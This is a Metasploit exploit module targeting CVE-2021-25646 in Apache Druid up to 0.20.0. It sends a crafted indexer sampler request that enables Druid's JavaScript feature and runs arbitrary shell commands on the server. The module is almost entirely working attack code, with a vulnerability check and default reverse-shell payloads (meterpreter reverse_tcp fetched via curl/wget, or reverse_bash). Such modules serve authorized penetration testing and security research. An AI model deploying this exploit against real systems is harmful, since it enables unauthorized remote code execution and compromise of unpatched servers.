##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Druid 0.20.0 Remote Command Execution',
'Description' => %q{
Apache Druid includes the ability to execute user-provided JavaScript code embedded in
various types of requests; however, that feature is disabled by default.
In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request
that both enables the JavaScript code-execution feature and executes the supplied code all
at once, allowing for code execution on the server with the privileges of the Druid Server process.
More critically, authentication is not enabled in Apache Druid by default.
Tested on the following Apache Druid versions:
* 0.15.1
* 0.16.0-iap8
* 0.17.1
* 0.18.0-iap3
* 0.19.0-iap7
* 0.20.0-iap4.1
* 0.20.0
* 0.21.0-iap3
},
'Author' => [
'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery
'je5442804' # Metasploit module
],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'References' => [
['CVE', '2021-25646'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25646'],
['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],
['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']
],
'DisclosureDate' => '2021-01-21',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Targets' => [
[
'Linux (dropper)', {
'Platform' => 'linux',
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl' },
'CmdStagerFlavor' => %w[curl wget],
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[
'Unix (in-memory)', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
],
'DefaultTarget' => 0,
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(8888),
OptString.new('TARGETURI', [true, 'The base path of Apache Druid', '/'])
])
end
def execute_command(cmd, _opts = {})
gencmd = '/bin/sh`@~-c`@~' + cmd
genvar = Rex::Text.rand_text_alpha(8..12)
genname = Rex::Text.rand_text_alpha(8..12)
vprint_status("cmd= #{gencmd} var=#{genvar} name=#{genname}")
post_data = {
type: 'index',
spec: {
ioConfig: {
type: 'index',
firehose: {
type: 'local',
baseDir: '/etc',
filter: 'passwd'
}
},
dataSchema: {
dataSource: Rex::Text.rand_text_alpha(8..12),
parser: {
parseSpec: {
format: 'javascript',
timestampSpec: {},
dimensionsSpec: {},
function: "function(){var #{genvar} = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"#{rand(1..9999999)}\",#{genname}: #{genvar}}}",
"": {
enabled: 'true'
}
}
}
}
},
samplerConfig: {
numRows: 10
}
}.to_json
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/druid/indexer/v1/sampler'),
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json, text/plain, */*'
},
'data' => post_data
})
end
def check
genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a')
vprint_status("Attempting to execute 'echo #{genecho}' on the target.")
res = execute_command("echo #{genecho}")
unless res
return CheckCode::Unknown('Connection failed.')
end
unless res.code == 200
return CheckCode::Safe
end
if res.body.include?(genecho)
return CheckCode::Vulnerable
end
CheckCode::Unknown('Target does not seem to be running Apache Druid.')
end
def exploit
case target['Type']
when :linux_dropper
execute_cmdstager
when :unix_memory
execute_command(payload.encoded)
end
end
end
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